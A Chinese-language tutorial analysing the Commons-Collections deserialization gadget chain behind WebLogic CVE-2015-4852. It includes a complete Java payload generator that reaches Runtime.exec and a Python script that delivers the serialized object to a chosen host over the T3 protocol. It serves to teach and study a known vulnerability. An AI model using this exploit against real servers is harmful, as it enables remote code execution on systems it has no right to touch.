前面我们了解了java的序列化机制,也初步接触了利用链的概念,为了加深对反序列化漏洞的理解,这里来复现一条存在于 apache commons-collections.jar
中的pop链,要知道这个类库使用广泛,所以很多大型的应用也存在着这个漏洞,这里就以 Weblogic CVE-2015-4852
来说说反序列化漏洞的具体利用方法。
漏洞利用成功条件
- payload:需要让服务端执行的语句:比如说弹计算器还是执行远程访问等;
- 反序列化利用链:服务端中存在的反序列化利用链,会一层层剥开我们的exp,最后执行payload。(在此篇中就是cc利用链)
readObject()
函数的覆写利用点:服务端中存在可以与我们漏洞链相接并且可以从外部访问的readObject()
函数覆写点;
攻击流程
- 客户端构造payload,并进行一层层的封装,完成最后的exp;
- exp发送到服务端,进入一个服务端自主覆写(也可能是也有组件覆写)的readObject()函数,它会反序列化恢复我们构造的exp去形成一个恶意类exp_1;
- 这个恶意类exp_1在接下来的处理流程,会执行exp_1中的一个方法,在方法中会对exp_1的内容进行函数处理,从而一层层地解析exp_1变成exp_2、exp_3等;
- 最后在一个可执行任意命令的函数中执行payload,完成远程代码执行。
环境准备
Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认的集合处理标准。
PoC代码
package Step3;
import java.io.File;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class PoC1 {
public static Object GeneratePayload() throws Exception {
Transformer transformerChain = getTransformer();
Map innermap = new HashMap();
innermap.put("value", "re111");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true); //通过setAccessible(true)的方式关闭安全检查
return ctor.newInstance(Retention.class, outmap);
}
private static Transformer getTransformer() {
final Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"galculator"}),
new ConstantTransformer(1)
};
return new ChainedTransformer(transforms);
}
public static void main(String[] args) throws Exception {
String fileName = "./payload.bin";
GeneratePayloadFile(GeneratePayload(), fileName);
TriggerPayload(fileName);
}
public static void GeneratePayloadFile(Object instance, String file) throws Exception {
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(f.toPath()));
out.writeObject(instance);
out.flush();
out.close();
}
public static void TriggerPayload(String file) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
如果出现很多包缺失的报错,则需要导入 commons-collections-3.1.jar 包
IDEA菜单栏->文件->项目结构->库->添加->按路径添加jar包即可
Transformer 链构造
Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
org.apache.commons.collections.Transformer
这个接口可以满足固定的类型转化需求,我们的漏洞利用就是在于这个点。
我们在使用 Apache Commons Collections
库进行 Gadget 构造时主要利用的就是这个 transformer
接口,它只有一个待实现的方法 transform()
。
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
主要用于将一个对象通过 transform
方法转换为另一个对象,在库中众多对象转换的接口中存在一个 Invoker
类型的转换接口 InvokerTransformer
,并且同时还实现了 Serializable
接口。
public class InvokerTransformer implements Transformer, Serializable {
static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}
可以看到 InvokerTransformer
类中实现的 transform()
接口使用 Java 反射机制获取反射对象 input
中的参数类型为 iParamTypes
的方法 iMethodName
,然后使用对应参数 iArgs
调用获取的方法,并将执行结果返回。由于其实现了 Serializable 接口,因此其中的三个必要参数 iMethodName、iParamTypes 和 iArgs 都是可以通过序列化直接构造的,为命令执行创造了条件,但是只有这里的话显然并不能RCE。
继续看 ChainedTransformer
public class ChainedTransformer implements Transformer, Serializable {
static final long serialVersionUID = 3514945074733160196L;
private final Transformer[] iTransformers;
...
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
}
这里可以看出来是挨个遍历 transformer
,调用ChainedTransformer
的 transform
方法然后返回object,返回的object继续进入循环,成为下一次调用的参数,所以我们可以通过这里来执行命令。
private static Transformer getTransformer() {
final Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"galculator"}),
new ConstantTransformer(1)
};
return new ChainedTransformer(transforms);
}
这一链条构成了核心 payload 的代码执行链,每一步的具体含义。
步骤 | 说明 |
---|---|
ConstantTransformer(Runtime.class) |
初始返回 java.lang.Runtime.class |
getMethod("getRuntime", ...) |
调用反射获取 Runtime.getRuntime() 方法对象 |
invoke(null, new Object[0]) |
执行 getRuntime() 方法,返回 Runtime.getRuntime() 实例 |
exec("galculator") |
执行命令 galculator (Linux 图形计算器) |
ConstantTransformer(1) |
后续调用无害的返回值,掩盖攻击目的 |
环境中不可能直接存在 Runtime.class
,所以我们通过构造来产生。
ConstantTransformer
类初始化传入 this.iConstant
参数直接return,相当于this的作用。
public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object) null);
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
}
向 ChainedTransformer
传入 transformers
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
然后构造的命令参数传入 InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
这里都会赋值,然后就会调用到
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
经过反射达成如下效果,这条语句就是我们想要构建的核心 payload
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")).exec("galculator");
执行 Class.forName("java.lang.Runtime").getMethod("getRuntime")
这部分语句,
也就是执行Runtime.class.getMethod("getRuntime")
,获得Runtime的getRuntime方法定义。
由于上述是静态方法,所以invoke(Class.forName("java.lang.Runtime"))
也可以写成invoke(null)
,执行上述方法得到一个实例,然后用这个实例调用exec(“galculator”)弹出计算器
封装成Map
要想实现RCE还需要一个入口点,使得应用在反序列化的时候能够通过一条调用链来触发 InvokerTransformer
中的 transform()
方法,有两个类中使用了可疑的 transform()
方法: LazyMap
和 TransformedMap
。
TransformedMap
中一共有三处函数使用了transform方法
当然,光是使用了transform这个方法还不行,我们还需要确认是使用了ChainedTransformer.transform()
,我们看一下 this.valueTransformer
的类型
可以看到 this.valueTransformer
的类型是Transformer,所以在构造poc的时候只需要将他的值赋为我们精心构造的 ChainedTransformer
就行,这里只要 valueTransformer
可控即可利用上面的调用链
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
当我们初始化的时候是可以控制的,怎么触发呢
checkSetValue()
方法可以办到这一点,它会将我们传入的value对象使用 transform()
方法进行处理
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
错误:当进入 put
方法的时候会触发valueTransformer的构造方法,也可以调用 transform()
方法
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
正确流程:我们构造的 TransformedMap
在 AnnotationInvocationHandler.readObject()
反序列化中对 Map.Entry.setValue()
(或者说是内部类 TransformedMap$TransformedEntry
的setValue()方法,这个内部类的具体代码可以到transformedMap
的父类 AbstractInputCheckedMapDecorator
中寻找)进行了调用,这个set方法又调用了 transformedMap
的 checkSetValue()
方法,这个方法调用了关键的transform方法,然后打通了链子。
根据上面的调用链我们的 value
位置可以设定为任意值,因为反序列化过程中会触发 .setValue(...)
,而不是读取初始的值。
现在的poc可以用TransformedMap的三个方法 transformKey
、transformValue
、checkSetValue
触发transform方法,但是这三个方法的访问权限都是protected,也就是不能直接被外部访问。
迂回一下,TransformedMap类中一共有三个方法访问权限是public
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
public void putAll(Map mapToCopy) {
mapToCopy = this.transformMap(mapToCopy);
this.getMap().putAll(mapToCopy);
}
可以看到put方法调用了transformKey以及transformValue,这两个方法又都调用了transform方法,所以我们可以通过调用修饰函数实例化一个TransforomedMap对象,然后调用对象的put方法将我们构造的链子传入,从而执行任意命令。
Map innermap = new HashMap();
innermap.put("value", "re111");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
这样我们即可进行命令执行。
反序列化操作触发函数
jdk1.7-AnnotationInvocationHandler
但是在现实场景中,并没有人帮我们执行这个函数。所以我们现在要开始寻找,有没有哪个类,在它的 readObject()
逻辑中会触发这个动作(给Map新增元素)。
这个类就是 sun.reflect.annotation.AnnotationInvocationHandler
,这是⼀个java的原生类。
这个函数在jdk1.7中,这也是为什么要求jdk1.7环境,高版本jdk不支持的原因在后面解答。
反编译的代码,看起来有点别扭。而且因为我本机是jdk1.8,所以这个类并不是我们真正想要的。
给大家推荐一个好的方式,就是去github上看,openjdk是开源的。github上还有版本管理, 然后再给大家推荐一个网站,github1s,可以在线用vscode
我们先看这个类的构造函数
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
我们看到,它可以接受一个Map来作为参数。
然后我们再看它的 readObject()
做了什么
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch (IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
将 memberValues
转化成一个set,然后再迭代一下就又取出了一个Map叫做 memberValue
。 我们只要将这个 memberValue
设置为我们构造的一个 TransformedMap
对象,然后当它在后面执行 memberValue.setValue
时,就会触发我们注册的 Transformer
,进而执行我们为其精心设计的任意代码。
内部类的调用
当我们想要直接new一个 sun.reflect.annotation.AnnotationInvocationHandler
对象时,发现了问题,因为这是一个内部类,导致我们无法直接访问,这个时候怎么办,还是用反射。
Map innermap = new HashMap();
innermap.put("value", "re111"); // key是"value",这是注解方法名
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);//通过setAccessible(true)的方式关闭安全检查
return ctor.newInstance(Retention.class, outmap);
innermap.put 固定key值
这里明确需要明确一点
type = Retention.class
memberValues = transformerdMap
我们的目的是触发对Map的写入操作,所以我们的目标是触发 memberValue.setValue
这条逻辑。所以此时,如果memberValues是一个空的map,那么这个for的遍历就不会执行,所以我们需要预先给Map进行值的插入。
但是要插入什么呢?
String name = memberValue.getKey(); //Map可控,所以key可控
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { //!要求在memberType中也有这个key
...
}
所以我们要了解 memberTypes
是怎么来的
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
查看 AnnotationType.class
public class AnnotationType {
/*
...
...
...
*/
public static synchronized AnnotationType getInstance(
Class<? extends Annotation> annotationClass) {
AnnotationType result = sun.misc.SharedSecrets.getJavaLangAccess().
getAnnotationType(annotationClass);
if (result == null)
result = new AnnotationType((Class<? extends Annotation>) annotationClass);
return result;
}
private AnnotationType(final Class<? extends Annotation> annotationClass) {
if (!annotationClass.isAnnotation())
throw new IllegalArgumentException("Not an annotation type");
Method[] methods =
AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
// Initialize memberTypes and defaultValues
return annotationClass.getDeclaredMethods();
}
});
for (Method method : methods) {
if (method.getParameterTypes().length != 0)
throw new IllegalArgumentException(method + " has params");
String name = method.getName();
Class<?> type = method.getReturnType();
memberTypes.put(name, invocationHandlerReturnType(type));
members.put(name, method);
Object defaultValue = method.getDefaultValue();
if (defaultValue != null)
memberDefaults.put(name, defaultValue);
members.put(name, method);
}
sun.misc.SharedSecrets.getJavaLangAccess().
setAnnotationType(annotationClass, this);
// Initialize retention, & inherited fields. Special treatment
// of the corresponding annotation types breaks infinite recursion.
if (annotationClass != Retention.class &&
annotationClass != Inherited.class) {
Retention ret = annotationClass.getAnnotation(Retention.class);
retention = (ret == null ? RetentionPolicy.CLASS : ret.value());
inherited = annotationClass.isAnnotationPresent(Inherited.class);
}
}
/*
...
...
...
*/
}
注意到这里有一句
if (!annotationClass.isAnnotation())
throw new IllegalArgumentException("Not an annotation type");
就是检查输入的参数是不是一个注解类,如果不是就会报错。
所以这里要求第一个参数必须是一个注解类。然后
Method[] methods =
AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
// Initialize memberTypes and defaultValues
return annotationClass.getDeclaredMethods();
}
});
for (Method method : methods) {
if (method.getParameterTypes().length != 0)
throw new IllegalArgumentException(method + " has params");
String name = method.getName();
Class<?> type = method.getReturnType();
memberTypes.put(name, invocationHandlerReturnType(type));
这里会通过反射的方式,获取该注解类所有的方法,然后再将所有的方法名塞给memberTypes这个Map
而我们这里要获取的就是memberTypes
所以我们的需求就变成了,对于 sun.reflect.annotation.AnnotationInvocationHandler
这个类的构造函数
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
需要找到一个参数type,满足
- 是一个类对象
- 该类是一个注解类
- 该类至少存在一个方法(记作
methodData
)
然后我们控制参数 memberValues
,让它满足
存在一个键值对,其 key
等于 methodData
我们找到了 Retention
类,它是一个注解类,有一个方法叫做 value
符合要求的类还有很多,比如 Repeatable
、Target
等等。
t3协议发送payload弹计算器
#!/usr/bin/python3
import socket
import sys
import struct
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print('connecting to %s port %s' % server_address)
sock.connect(server_address)
# Send headers
headers = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print('sending "%s"' % headers)
sock.sendall(headers.encode())
data = sock.recv(1024)
print('received "%s"' % data.decode(), file=sys.stderr)
payloadObj = open(sys.argv[3], 'rb').read()
payload = b'\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload = payload + payloadObj
payload = payload + b'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
# adjust header for appropriate message length
payload = struct.pack('!i', len(payload)) + payload[4:]
print('sending payload...')
sock.send(payload)
执行命令
python weblogic-t3-p3.py <ip> <port> <payloadFile>
调试分析验证
在 AnnotationInvocationHandler
类中 readObject()
方法下断点调试。
调用链
Gadget chain:
ObjectInputStream.readObject()
└── AnnotationInvocationHandler.readObject()
└── AbstractInputCheckedMapDecorator$MapEntry.setValue()
└── TransformedMap.checkSetValue()
└── ChainedTransformer.transform()
├── ConstantTransformer.transform()
├── InvokerTransformer.transform()
└── Method.invoke() → Class.getMethod()
├── InvokerTransformer.transform()
└── Method.invoke() → Runtime.getRuntime()
└── InvokerTransformer.transform()
└── Method.invoke() → Runtime.exec()
Requires:
commons-collections <= 3.2.1
readObject()走到setValue()
下面是之前谈到的 readObject()
方法反编译的代码,我们用这个再进行一次分析
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
核心函数是Map对象var5触发setValue(),为了能走到这个分支需要条件1和2
var7 != null
!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)
var7需要是个类,并且和var8的类型不相同。
var7通过var3获取到值,具体获取什么的key由 var5(var4)
的Map对象决定的,可以通过类初始化传入(可控)。
var8是通过可控 var5(var4)
的Map对象值决定的,条件2容易过故不展开研究。
现在 var3.get(var6)
key我们可控,现在需要Map类型var3,它是由 AnnotationType.getInstance(this.type)
类型传入的也是类初始化传入(可控),AnnotationType
对@Target这个注解的处理,getInstance会获取到@Target的基本信息,找一个有Target注解的类即可,PoC找的就是java.lang.annotation.Retention
,到这条件1也达成了。
走到transform()
TransformedMap类继承了 AbstractInputCheckedMapDecorator
,存在 setValue()
方法
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
最后通过TransformedMap的checkSetValue()到了我们想要的transform()方法
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
transform()到RCE
利用链成立,分析正确。
jdk1.8为什么不行
其实上面的poc在Java 7的低版本(只测试了7u80,没有具体版本号)、8u71之前都是可以使用的,在Java 8u71之后代码发生了变动。
那么为什么不行呢,看一下jdk8里面的sun.reflect.annotation.AnnotationInvocationHandler
readObject复写点
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
//没有了map赋值语句,伤心
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
...
}
因为这个函数出现了变动,不再有针对我们构造的map的赋值语句,所以触发不了漏洞。
而是改成了新建一个LinkedHashMap,把值转到这个LinkedHashMap里。